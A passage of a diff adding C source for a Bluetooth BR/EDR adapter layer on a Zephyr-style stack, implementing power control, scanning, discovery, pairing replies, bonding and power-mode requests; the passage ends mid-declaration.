+void bt_sal_cleanup(void) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + bt_sal_cm_conn_cleanup(); +#endif + + bt_sal_hci_transport_cleanup(); +} + +/* Adapter power */ +bt_status_t bt_sal_enable(bt_controller_id_t id) +{ + UNUSED(id); + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + if (bt_is_ready()) { + adapter_on_adapter_state_changed(BT_BREDR_STACK_STATE_ON); + zblue_register_callback(); + return BT_STATUS_SUCCESS; + } + + SAL_CHECK_RET(bt_enable(zblue_on_ready_cb), 0); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#if defined(CONFIG_BLUETOOTH_BREDR_SUPPORT) +static void STACK_CALL(brder_disable)(void* args) +{ + UNUSED(args); + + zblue_unregister_callback(); + bt_br_set_visibility(false, false); +#ifndef CONFIG_BLUETOOTH_BLE_SUPPORT + bt_br_set_visibility(false, false); + bt_disable(); +#endif +} +#endif + +bt_status_t bt_sal_disable(bt_controller_id_t id) +{ + UNUSED(id); + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + sal_adapter_req_t* req; + + if (!bt_is_ready()) { + adapter_on_adapter_state_changed(BT_BREDR_STACK_STATE_OFF); + return BT_STATUS_SUCCESS; + } + + req = sal_adapter_req(id, NULL, STACK_CALL(brder_disable)); + if (!req) { + return BT_STATUS_NOMEM; + } + sal_send_req(req); + + adapter_on_adapter_state_changed(BT_BREDR_STACK_STATE_OFF); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bool bt_sal_is_enabled(bt_controller_id_t id) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + + return bt_is_ready(); +#else + return false; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_name)(void* args) +{ + sal_adapter_req_t* req = args; + + BT_LOGD("%s: %s", __func__, req->adpt.name); + SAL_CHECK(bt_set_name(req->adpt.name), 0); +} +#endif + +bt_status_t bt_sal_set_name(bt_controller_id_t id, char* name) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_name)); + if (!req) + return BT_STATUS_NOMEM; + + strlcpy(req->adpt.name, name, BT_LOC_NAME_MAX_LEN); + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +const char* bt_sal_get_name(bt_controller_id_t id) +{ + UNUSED(id); + + return bt_get_name(); +} + +bt_status_t bt_sal_get_address(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + bt_addr_le_t got = { 0 }; + size_t count = 1; + + SAL_CHECK_PARAM(addr); + + bt_id_get(&got, &count); + bt_addr_set(addr, (uint8_t*)&got.a); + + SAL_ASSERT(got.type == BT_ADDR_LE_PUBLIC); + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_set_io_capability(bt_controller_id_t id, bt_io_capability_t cap) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + + switch (cap) { + case BT_IO_CAPABILITY_DISPLAYONLY: + g_conn_auth_cbs.passkey_display = zblue_on_passkey_display; + g_conn_auth_cbs.passkey_entry = NULL; + g_conn_auth_cbs.passkey_confirm = NULL; + g_conn_auth_cbs.pairing_confirm = NULL; + break; + case BT_IO_CAPABILITY_DISPLAYYESNO: + g_conn_auth_cbs.passkey_display = zblue_on_passkey_display; + g_conn_auth_cbs.passkey_entry = NULL; + g_conn_auth_cbs.passkey_confirm = zblue_on_passkey_confirm; + g_conn_auth_cbs.pairing_confirm = zblue_on_pairing_confirm; + break; + case BT_IO_CAPABILITY_KEYBOARDONLY: + g_conn_auth_cbs.passkey_display = NULL; + g_conn_auth_cbs.passkey_entry = zblue_on_passkey_entry; + g_conn_auth_cbs.passkey_confirm = NULL; + g_conn_auth_cbs.pairing_confirm = NULL; + break; + case BT_IO_CAPABILITY_KEYBOARDDISPLAY: + g_conn_auth_cbs.passkey_display = zblue_on_passkey_display; + g_conn_auth_cbs.passkey_entry = zblue_on_passkey_entry; + g_conn_auth_cbs.passkey_confirm = zblue_on_passkey_confirm; + g_conn_auth_cbs.pairing_confirm = zblue_on_pairing_confirm; + break; + case BT_IO_CAPABILITY_NOINPUTNOOUTPUT: + default: + g_conn_auth_cbs.passkey_display = NULL; + g_conn_auth_cbs.passkey_entry = NULL; + g_conn_auth_cbs.passkey_confirm = NULL; + g_conn_auth_cbs.pairing_confirm = NULL; + break; + } + + bt_conn_auth_cb_register(NULL); + bt_conn_auth_cb_register(&g_conn_auth_cbs); + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_io_capability_t bt_sal_get_io_capability(bt_controller_id_t id) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + return BT_IO_CAPABILITY_UNKNOW; +#else + return BT_IO_CAPABILITY_UNKNOW; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_device_class)(void* args) +{ + sal_adapter_req_t* req = args; + + SAL_CHECK(bt_br_set_class_of_device(req->adpt.cod), 0); +} +#endif + +bt_status_t bt_sal_set_device_class(bt_controller_id_t id, uint32_t cod) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_device_class)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.cod = cod; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +uint32_t bt_sal_get_device_class(bt_controller_id_t id) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_scan_mode)(void* args) +{ + sal_adapter_req_t* req = args; + bool iscan = false; + bool pscan = false; + int ret; + + switch (req->adpt.scanmode.scan_mode) { + case BT_SCAN_MODE_NONE: + break; + case BT_SCAN_MODE_CONNECTABLE: { + pscan = true; + break; + } + case BT_SCAN_MODE_CONNECTABLE_DISCOVERABLE: { + iscan = true; + pscan = true; + break; + } + default: + break; + } + + ret = bt_br_set_visibility(iscan, pscan); + if (ret != 0 && ret != -EALREADY) { + BT_LOGE("%s set scanmode failed:%d", __func__, ret); + return; + } + + if (ret == 0) + adapter_on_scan_mode_changed(req->adpt.scanmode.scan_mode); +} +#endif + +bt_status_t bt_sal_set_scan_mode(bt_controller_id_t id, bt_scan_mode_t scan_mode, bool bondable) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_scan_mode)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.scanmode.scan_mode = scan_mode; + req->adpt.scanmode.bondable = bondable; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_scan_mode_t bt_sal_get_scan_mode(bt_controller_id_t id) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +bool bt_sal_get_bondable(bt_controller_id_t id) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +/* Inquiry/page and inquiry/page scan */ +static void STACK_CALL(start_discovery)(void* args) +{ +#define DISCOVERY_DEVICE_MAX 30 + sal_adapter_req_t* req = args; + struct bt_br_discovery_param param; + static struct bt_br_discovery_result g_discovery_results[DISCOVERY_DEVICE_MAX]; + + /* unlimited number of responses. */ + param.limited = req->adpt.discovery.limited; + param.length = req->adpt.discovery.timeout; + + if (bt_br_discovery_start(¶m, g_discovery_results, + SAL_ARRAY_SIZE(g_discovery_results)) + == 0) + adapter_on_discovery_state_changed(BT_DISCOVERY_STARTED); +} +#endif + +bt_status_t bt_sal_start_discovery(bt_controller_id_t id, uint32_t timeout, bool is_limited) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + /* Range(timeout * 1.28s) --> 1.28 to 61.44 s */ + if (!timeout || timeout > 0x30) + return BT_STATUS_PARM_INVALID; + + req = sal_adapter_req(id, NULL, STACK_CALL(start_discovery)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.discovery.timeout = timeout; + req->adpt.discovery.limited = is_limited; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(stop_discovery)(void* args) +{ + SAL_CHECK(bt_br_discovery_stop(), 0); + adapter_on_discovery_state_changed(BT_DISCOVERY_STOPPED); +} +#endif + +bt_status_t bt_sal_stop_discovery(bt_controller_id_t id) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + + return sal_send_req(sal_adapter_req(id, NULL, STACK_CALL(stop_discovery))); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_scan_parameters)(void* args) +{ + sal_adapter_req_t* req = args; + + if (req->adpt.sp.type == BT_BR_SCAN_TYPE_STANDARD || req->adpt.sp.type == BT_BR_SCAN_TYPE_INTERLACED) { + if (req->adpt.sp.inquiry) { + SAL_CHECK(bt_br_write_inquiry_scan_type(req->adpt.sp.type), 0); + } else { + SAL_CHECK(bt_br_write_page_scan_type(req->adpt.sp.type), 0); + } + } + + if (req->adpt.sp.window <= 0x1000 && req->adpt.sp.interval >= 0x11 && (req->adpt.sp.interval > req->adpt.sp.window)) { + if (req->adpt.sp.inquiry) { + SAL_CHECK(bt_br_write_inquiry_scan_activity(req->adpt.sp.interval, req->adpt.sp.window), 0); + } else { + SAL_CHECK(bt_br_write_page_scan_activity(req->adpt.sp.interval, req->adpt.sp.window), 0); + } + } +} +#endif + +bt_status_t bt_sal_set_page_scan_parameters(bt_controller_id_t id, bt_scan_type_t type, + uint16_t interval, uint16_t window) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_scan_parameters)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.sp.inquiry = false; + req->adpt.sp.type = type; + req->adpt.sp.interval = interval; + req->adpt.sp.window = window; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_set_inquiry_scan_parameters(bt_controller_id_t id, bt_scan_type_t type, + uint16_t interval, uint16_t window) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_scan_parameters)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.sp.inquiry = true; + req->adpt.sp.type = type; + req->adpt.sp.interval = interval; + req->adpt.sp.window = window; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +/* Remote device RNR/connection/bond/properties */ +static void zblue_on_remote_name_req_cb(const bt_addr_t* bdaddr, const char* name, uint8_t status) +{ + if (status == BT_HCI_ERR_SUCCESS) { + adapter_on_remote_name_recieved((bt_address_t*)bdaddr, name); + } else { + BT_LOGE("%s error: %02" PRIu8, __func__, status); + } +} + +static void STACK_CALL(get_remote_name)(void* args) +{ + sal_adapter_req_t* req = args; + + SAL_CHECK(bt_br_remote_name_request((bt_addr_t*)&req->addr, zblue_on_remote_name_req_cb), 0); +} +#endif + +bt_status_t bt_sal_get_remote_name(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + + return sal_send_req(sal_adapter_req(id, addr, STACK_CALL(get_remote_name))); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_auto_accept_connection(bt_controller_id_t id, bool enable) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_sco_connection_reply(bt_controller_id_t id, bt_address_t* addr, bool accept) +{ + SAL_NOT_SUPPORT; +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(acl_connection_reply)(void* args) +{ +#ifndef CONFIG_BT_CONN_REQ_AUTO_HANDLE + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + + if (req->adpt.accept) { + SAL_CHECK(bt_conn_accept_acl_conn(conn), 0); + } else { + SAL_CHECK(bt_conn_reject_acl_conn(conn, BT_HCI_ERR_INSUFFICIENT_RESOURCES), 0); + } + + bt_conn_unref(conn); +#endif +} +#endif + +bt_status_t bt_sal_acl_connection_reply(bt_controller_id_t id, bt_address_t* addr, bool accept) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(acl_connection_reply)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.accept = accept; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_pair_reply(bt_controller_id_t id, bt_address_t* addr, uint8_t reason) +{ + SAL_NOT_SUPPORT; +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(ssp_reply)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + + if (req->adpt.ssp.accept) { + switch (req->adpt.ssp.type) { + case PAIR_TYPE_PASSKEY_CONFIRMATION: + case PAIR_TYPE_CONSENT: + SAL_CHECK(bt_conn_auth_passkey_confirm(conn), 0); + break; + case PAIR_TYPE_PASSKEY_ENTRY: + SAL_CHECK(bt_conn_auth_passkey_entry(conn, req->adpt.ssp.passkey), 0); + break; + default: + break; + } + } else { + SAL_CHECK(bt_conn_auth_cancel(conn), 0); + } + + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_ssp_reply(bt_controller_id_t id, bt_address_t* addr, bool accept, + bt_pair_type_t type, uint32_t passkey) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(ssp_reply)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.ssp.accept = accept; + req->adpt.ssp.type = type; + req->adpt.ssp.passkey = passkey; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(pin_reply)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + + if (req->adpt.pin.accept) { + SAL_CHECK(bt_conn_auth_pincode_entry(conn, req->adpt.pin.pincode), 0); + } else { + SAL_CHECK(bt_conn_auth_cancel(conn), 0); + } + + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_pin_reply(bt_controller_id_t id, bt_address_t* addr, + bool accept, char* pincode, int len) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(pin_reply)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.pin.accept = accept; + req->adpt.pin.pincode = malloc(len + 1); + memcpy(req->adpt.pin.pincode, pincode, len); + req->adpt.pin.pincode[len] = '\0'; + req->adpt.pin.len = len; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +connection_state_t bt_sal_get_connection_state(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + struct bt_conn_info info; + connection_state_t state = CONNECTION_STATE_DISCONNECTED; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + + bt_conn_get_info(conn, &info); + switch (info.state) { + case BT_CONN_STATE_DISCONNECTED: { + state = CONNECTION_STATE_DISCONNECTED; + break; + } + case BT_CONN_STATE_CONNECTING: { + state = CONNECTION_STATE_CONNECTING; + break; + } + case BT_CONN_STATE_CONNECTED: { + state = CONNECTION_STATE_CONNECTED; + break; + } + case BT_CONN_STATE_DISCONNECTING: { + state = CONNECTION_STATE_DISCONNECTING; + break; + } + default: + break; + } + + bt_conn_unref(conn); + return state; +#else + return CONNECTION_STATE_DISCONNECTED; +#endif +} + +uint16_t bt_sal_get_acl_connection_handle(bt_controller_id_t id, bt_address_t* addr, bt_transport_t trasnport) +{ + UNUSED(id); + struct bt_conn_info info; + struct bt_conn* conn = NULL; + + if (trasnport == BT_TRANSPORT_BLE) { +#ifdef CONFIG_BLUETOOTH_BLE_SUPPORT + conn = get_le_conn_from_addr(addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_INVALID_CONNECTION_HANDLE; + } + + if (bt_conn_get_info(conn, &info)) { + BT_LOGE("%s, bt_conn_get_info fail", __func__); + return BT_INVALID_CONNECTION_HANDLE; + } + + return info.handle; +#endif + } else if (trasnport == BT_TRANSPORT_BREDR) { +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + conn = bt_conn_lookup_addr_br((bt_addr_t*)addr); + if (!conn) { + BT_LOGE("%s, conn null", __func__); + return BT_INVALID_CONNECTION_HANDLE; + } + + if (bt_conn_get_info(conn, &info)) { + BT_LOGE("%s, bt_conn_get_info fail", __func__); + bt_conn_unref(conn); + return BT_INVALID_CONNECTION_HANDLE; + } + + bt_conn_unref(conn); + return info.handle; +#endif + } + + return BT_INVALID_CONNECTION_HANDLE; +} + +uint16_t bt_sal_get_sco_connection_handle(bt_controller_id_t id, bt_address_t* addr) +{ + return BT_INVALID_CONNECTION_HANDLE; +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(connect)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn; + + conn = bt_conn_create_br((const bt_addr_t*)&req->addr, BT_BR_CONN_PARAM_DEFAULT); + if (!conn) { + BT_LOGW("bt_conn_create_br Connection failed"); + return; + } + + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_connect(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + + return sal_send_req(sal_adapter_req(id, addr, STACK_CALL(connect))); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(disconnect)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + if (conn == NULL) { + return; + } + + SAL_CHECK(bt_conn_disconnect(conn, BT_HCI_ERR_REMOTE_USER_TERM_CONN), 0); + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_disconnect(bt_controller_id_t id, bt_address_t* addr, uint8_t reason) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + bt_status_t status; + + /* disconnect profile, then disconnect acl */ + status = bt_sal_cm_try_disconnect_profiles(addr, false); + + if (status == BT_STATUS_SUCCESS) { + return status; + } + + req = sal_adapter_req(id, addr, STACK_CALL(disconnect)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.reason = reason; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_disconnect_internal(bt_controller_id_t id, bt_address_t* addr, uint8_t reason) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(disconnect)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.reason = reason; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(create_bond)(void* args) +{ + sal_adapter_req_t* req = args; + bond_state_t state = BOND_STATE_NONE; + struct bt_conn* conn; + + conn = bt_conn_pair_br((bt_addr_t*)&req->addr, g_security_level); + if (conn) { + state = BOND_STATE_BONDING; + bt_conn_unref(conn); + } + + adapter_on_bond_state_changed(&req->addr, state, BT_TRANSPORT_BREDR, BT_STATUS_SUCCESS, false); +} +#endif + +bt_status_t bt_sal_create_bond(bt_controller_id_t id, bt_address_t* addr, bt_transport_t transport, bt_addr_type_t type) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(create_bond)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.bond.transport = transport; + req->adpt.bond.type = type; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(set_security_level)(void* args) +{ + sal_adapter_req_t* req = args; + + g_security_level = req->adpt.security_level; +} +#endif + +bt_status_t bt_sal_set_security_level(bt_controller_id_t id, uint8_t level) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + sal_adapter_req_t* req; + + req = sal_adapter_req(id, NULL, STACK_CALL(set_security_level)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + req->adpt.security_level = level; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(cancel_bond)(void* args) +{ + sal_adapter_req_t* req = args; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + + SAL_CHECK(bt_conn_auth_cancel(conn), 0); + SAL_CHECK(bt_br_unpair((bt_addr_t*)&req->addr), 0); + + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_cancel_bond(bt_controller_id_t id, bt_address_t* addr, bt_transport_t transport) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(cancel_bond)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.bond.transport = transport; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(remove_bond)(void* args) +{ + sal_adapter_req_t* req = args; + SAL_CHECK(bt_br_unpair((bt_addr_t*)&req->addr), 0); +} +#endif + +bt_status_t bt_sal_remove_bond(bt_controller_id_t id, bt_address_t* addr, bt_transport_t transport) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + bt_status_t status; + + status = bt_sal_cm_try_disconnect_profiles(addr, true); + + if (status == BT_STATUS_SUCCESS) { + return status; + } + + req = sal_adapter_req(id, addr, STACK_CALL(remove_bond)); + if (!req) + return BT_STATUS_NOMEM; + + req->adpt.bond.transport = transport; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_remove_bond_internal(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(remove_bond)); + if (!req) + return BT_STATUS_NOMEM; + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +bt_status_t bt_sal_set_remote_oob_data(bt_controller_id_t id, bt_address_t* addr, + bt_oob_data_t* p192_val, bt_oob_data_t* p256_val) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_remove_remote_oob_data(bt_controller_id_t id, bt_address_t* addr) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_get_local_oob_data(bt_controller_id_t id) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +bt_status_t bt_sal_get_remote_device_info(bt_controller_id_t id, bt_address_t* addr, remote_device_properties_t* properties) +{ + UNUSED(id); + return BT_STATUS_SUCCESS; +} + +static void STACK_CALL(set_bond)(void* args) +{ + sal_adapter_req_t* req = args; + bt_addr_le_t le_addr; + + memcpy(le_addr.a.val, req->addr.addr, sizeof(le_addr.a.val)); + le_addr.type = BT_LE_ADDR_TYPE_PUBLIC; + +#ifdef CONFIG_SETTINGS_ZBLUE + bt_settings_load(req->id, 0, "link_key", &le_addr); +#endif +} + +bt_status_t bt_sal_set_bonded_devices(bt_controller_id_t id, remote_device_properties_t* props, int cnt) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + sal_adapter_req_t* req; + bt_status_t status; + + for (int i = 0; i < cnt; i++) { + req = sal_adapter_req(id, &props->addr, STACK_CALL(set_bond)); + if (!req) { + BT_LOGE("%s, req null", __func__); + return BT_STATUS_NOMEM; + } + + status = sal_send_req(req); + if (status) { + BT_LOGE("%s send req error, ret: %d", __func__, status); + return status; + } + + props++; + } + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void get_bonded_devices(const struct bt_bond_info* info, + void* user_data) +{ + struct device_context* ctx = user_data; + uint8_t* link_key; + + if (ctx->got < ctx->cnt) { + memcpy(&ctx->props->addr, &info->addr, 6); + link_key = adapter_get_link_key(&ctx->props->addr); + if (link_key) { + memcpy(ctx->props->link_key, link_key, 16); + ctx->props->link_key_type = adapter_get_link_key_type(&ctx->props->addr); + } + + ctx->props++; + ctx->got++; + } +} +#endif + +bt_status_t bt_sal_get_bonded_devices(bt_controller_id_t id, remote_device_properties_t* props, int* cnt) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + struct device_context ctx; + + ctx.props = props; + ctx.cnt = *cnt; + ctx.got = 0; + + bt_foreach_bond_br(get_bonded_devices, &ctx); + *cnt = ctx.got; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void get_connected_devices(struct bt_conn* conn, void* data) +{ + struct device_context* ctx = data; + struct bt_conn_info info; + + if (ctx->got < ctx->cnt) { + bt_conn_get_info(conn, &info); + memcpy(&ctx->props->addr, info.br.dst->val, 6); + ctx->props++; + ctx->got++; + } +} +#endif + +bt_status_t bt_sal_get_connected_devices(bt_controller_id_t id, remote_device_properties_t* props, int* cnt) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + struct device_context ctx; + + ctx.props = props; + ctx.cnt = *cnt; + ctx.got = 0; + + bt_conn_foreach(BT_CONN_TYPE_BR, get_connected_devices, &ctx); + *cnt = ctx.got; + + return BT_STATUS_SUCCESS; +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +/* Service discovery */ +bt_status_t bt_sal_start_service_discovery(bt_controller_id_t id, bt_address_t* addr, bt_uuid_t* uuid) +{ + UNUSED(id); + SAL_NOT_SUPPORT; +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void STACK_CALL(stop_service_discovery)(void* args) +{ +} +#endif + +bt_status_t bt_sal_stop_service_discovery(bt_controller_id_t id, bt_address_t* addr) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + + return sal_send_req(sal_adapter_req(id, addr, STACK_CALL(stop_service_discovery))); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +/* Link policy */ +#ifdef CONFIG_BT_POWER_MODE_CONTROL +static void STACK_CALL(set_power_mode)(void* args) +{ + sal_adapter_req_t* req = args; + bt_pm_mode_t* pm = &req->adpt.mode; + struct bt_conn* conn = bt_conn_lookup_addr_br((bt_addr_t*)&req->addr); + + if (pm->mode == BT_LINK_MODE_ACTIVE) { + SAL_CHECK(bt_conn_exit_sniff_mode(conn), 0); + } else { + SAL_CHECK(bt_conn_enter_sniff_mode(conn, pm->min, pm->max, pm->attempt, pm->timeout), 0); + } + + bt_conn_unref(conn); +} +#endif + +bt_status_t bt_sal_set_power_mode(bt_controller_id_t id, bt_address_t* addr, bt_pm_mode_t* mode) +{ +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT + UNUSED(id); + sal_adapter_req_t* req; + + req = sal_adapter_req(id, addr, STACK_CALL(set_power_mode)); + if (!req) + return BT_STATUS_NOMEM; + + memcpy(&req->adpt.mode, mode, sizeof(*mode)); + + return sal_send_req(req); +#else + return BT_STATUS_NOT_SUPPORTED; +#endif +} +#else /* CONFIG_BT_POWER_MODE_CONTROL */ +bt_status_t bt_sal_set_power_mode(bt_controller_id_t id, bt_address_t* addr, bt_pm_mode_t* mode) +{ + UNUSED(id); + UNUSED(addr); + UNUSED(mode); + + return BT_STATUS_NOT_SUPPORTED; +} +#endif /* CONFIG_BT_POWER_MODE_CONTROL */ + +#ifdef CONFIG_BLUETOOTH_BREDR_SUPPORT +static void 